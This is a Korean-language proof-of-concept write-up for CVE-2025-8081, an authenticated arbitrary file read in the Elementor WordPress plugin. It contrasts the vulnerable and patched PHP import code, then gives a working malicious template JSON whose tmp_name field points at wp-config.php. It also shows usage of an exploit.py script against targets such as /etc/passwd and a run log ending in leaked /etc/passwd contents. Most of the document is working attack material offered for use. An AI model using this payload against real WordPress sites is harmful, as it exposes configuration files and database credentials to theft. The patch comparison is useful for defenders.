elementor/includes/template-library/classes/class-import-images.php
115번째 줄 (v3.28.3)

if ( isset( $attachment['tmp_name'] ) ) {
    // 직접 업로드된 파일을 가져올 때 호출됩니다.
    $filename = $attachment['name'];
    $file_content = Utils::file_get_contents( $attachment['tmp_name'] );  // ❌ 검증 없음!
}

if ( isset( $attachment['tmp_name'] ) ) {
    // 직접 업로드된 파일을 가져올 때 호출됩니다.
    $filename = $attachment['name'];
    $file_content = false;
    // tmp_name이 변조된 경우를 대비한 보안 검증
    if ( is_uploaded_file( $attachment['tmp_name'] ) ) {  // ✅ 검증 추가됨!
        $file_content = Utils::file_get_contents( $attachment['tmp_name'] );
    }
}

{
  "content": [{
    "id": "s1",
    "elType": "section",
    "settings": [],
    "elements": [{
      "id": "c1",
      "elType": "column",
      "settings": {"_column_size": 100},
      "elements": [{
        "id": "w1",
        "elType": "widget",
        "widgetType": "image",
        "settings": {
          "image": {
            "url": "http://x.com/x.jpg",
            "id": 1,
            "tmp_name": "/var/www/html/wp-config.php",
            "name": "leaked_config.txt"
          }
        },
        "elements": []
      }]
    }]
  }],
  "version": "0.4",
  "type": "page"
}

python3 exploit.py -t https://target.com -u admin -p password123

필수 인자:
  -t, --target URL        대상 WordPress URL (예: https://target.com)
  -u, --user USERNAME     WordPress 관리자 사용자 이름
  -p, --password PASS     WordPress 관리자 비밀번호

선택 인자:
  -f, --file PATH         읽을 파일 (기본값: /var/www/html/wp-config.php)
  -o, --output FILE       출력 파일 이름 (기본값: 자동 생성)
  --insecure, -k          SSL 인증서 검증 비활성화
  -v, --verbose           디버깅을 위한 상세 출력 활성화
  -h, --help              도움말 메시지 표시

# 기본 악용 (기본 페이로드로 wp-config.php 읽기)
python3 exploit.py -t http://target.com -u admin -p password123

# 사용자 지정 대상 파일
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd

# HTTPS 및 자체 서명 인증서 사용
python3 exploit.py -t https://target.com -u admin -p password123 --insecure

# 사용자 지정 출력과 상세 모드
python3 exploit.py -t http://target.com -u admin -p password123 \
  -f /etc/passwd -o users.txt -v

# OrbStack/Docker에서 호스트 머신 대상
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v

Kali:~$ python3 exploit.py  -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd

======================================================================
 CVE-2025-8081 - Elementor 임의 파일 읽기
======================================================================
대상: http://host.internal:8080
파일:   /etc/passwd
======================================================================

[INFO] WordPress 인증 시도 중...
[SUCCESS] ✓ 인증 성공!
[INFO] AJAX nonce 가져오는 중...
[INFO] 페이로드 로드 중: payload.json
[INFO] 악성 템플릿 업로드 중...
[SUCCESS] ✓ 템플릿 업로드 성공!
[INFO] 유출된 파일 검색 중: leaked_passwd.txt
[SUCCESS] ✓ 파일 발견: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] 파일 다운로드 중...
[SUCCESS] ✓ 839바이트 다운로드 완료

======================================================================
 악용 성공!
======================================================================
파일 URL:  http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
파일 크기: 839바이트
저장 위치:  leaked_passwd.txt

--- 파일 내용 (처음 500자) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- 끝 ---
======================================================================